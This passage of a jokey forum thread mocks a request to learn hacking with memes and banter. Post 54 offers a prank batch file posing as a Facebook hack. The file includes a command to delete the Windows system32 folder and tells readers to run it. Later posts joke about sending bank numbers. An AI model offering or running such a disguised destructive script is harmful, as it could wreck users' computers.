1. Post #41

    April 2011
    4,517 Posts
    Open command prompt. Title Hacker. Color 02/a. @echo off. Cls. Tree. Boom.
    REG QUERY HKLM /S is better.
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  2. Post #42
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    December 2010
    1,638 Posts
    become matthew broderick
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  3. Post #43

    April 2012
    66 Posts
    Oh well, thats simple.
    First you must past through the gates of hell.
    Easy really.

  4. Post #44
    altern's Avatar
    April 2011
    3,176 Posts
    you must simply walk trough the gates of mordor

  5. Post #45
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    August 2010
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  6. Post #46
    ForMod2013
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    June 2009
    2,831 Posts
    "OP why do you want to learn how to 'hack?'" Should be the first response.

  7. Post #47
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    Dennab
    August 2011
    326 Posts
    ok guys, lets stop laughing and help him!

    There is my friend, I hope it will help you:

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  8. Post #48
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    August 2009
    9,393 Posts
    One does not simply "hack"
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  9. Post #49
    SK17a
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    October 2010
    13,633 Posts
    You don't become a hacker, but you be a hacker to become one.

    You don't learn to hack, but you hack to learn.

    ~famous quotes from hackers
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  10. Post #50
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    October 2007
    22,138 Posts

    best thread ever
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  11. Post #51

    June 2011
    422 Posts
    become matthew broderick
    Man is he fucking cute... i have/had a crush on him
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  12. Post #52
    bye
    Gold Member
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    August 2006
    3,109 Posts
    long life troll

  13. Post #53
    That Dog
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    March 2009
    13,411 Posts
    thanks to this thread i became a hacker and now i transfer 1000's anomynoumsly every day.
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  14. Post #54
    Project Lead, Internet Explorer for Linux
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    October 2008
    14,551 Posts
    Code:
    @echo off
    cls
    color a
    tree && del %SYSTEMROOT%\system32 && reg query hklm /s
    ping -n 600 127.157.36.255
    echo HAKK3D by me
    Save that to your C:\ drive as hacker.bat

    then in the command prompt type this:

    Code:
    C:\hacker.bat facebook.com
    BAM, hacking Facebook.
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  15. Post #55
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    October 2007
    22,138 Posts
    I tried that but now my computer won't work!
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  16. Post #56
    Project Lead, Internet Explorer for Linux
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    October 2008
    14,551 Posts
    I tried that but now my computer won't work!
    Your computer's simply not powerful enough.

    PM me your bank numbers, I'll see if you have enough money for upgrades.
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  17. Post #57
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    October 2007
    22,138 Posts
    I don't know what a pm so ill just post them here

       089121020122   

    only click if your lavacano
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  18. Post #58
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    July 2010
    4,096 Posts


    this is me in the process of haxing evry1
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  19. Post #59
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    October 2007
    22,138 Posts


    this is me in the process of haxing evry1
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  20. Post #60
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  21. Post #61
    RISC MASTER RACE.
    MIPS's Avatar
    August 2010
    7,099 Posts
    Get a Unix system, preferrably from silicon Graphics. Real Hackers use a Unix system. We know them.

    Edited:
    Also, you need a VT-100, a serial cable, and an acoustic coupler for getting into backdoors in the CIA and NORAD.
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  22. Post #62
    lady godiva's giant vaginas
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    May 2005
    1,860 Posts
    It's all about the Pentiums, yeahhhhhhhhhhhhhhhhgrh
    http://www.youtube.com/watch?v=qpMvS1Q1sos&ob=av3e
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  23. Post #63
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    September 2006
    1,359 Posts
    Install Gentoo.
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  24. Post #64
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  25. Post #65
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    October 2008
    8,370 Posts
    Install Gentoo.
    Nah, that's how you become the Installation Wizard, not a hacker.
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  26. Post #66
    Glorious GNU/Linux Master Race
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    May 2010
    5,463 Posts
    Install Gentoo.
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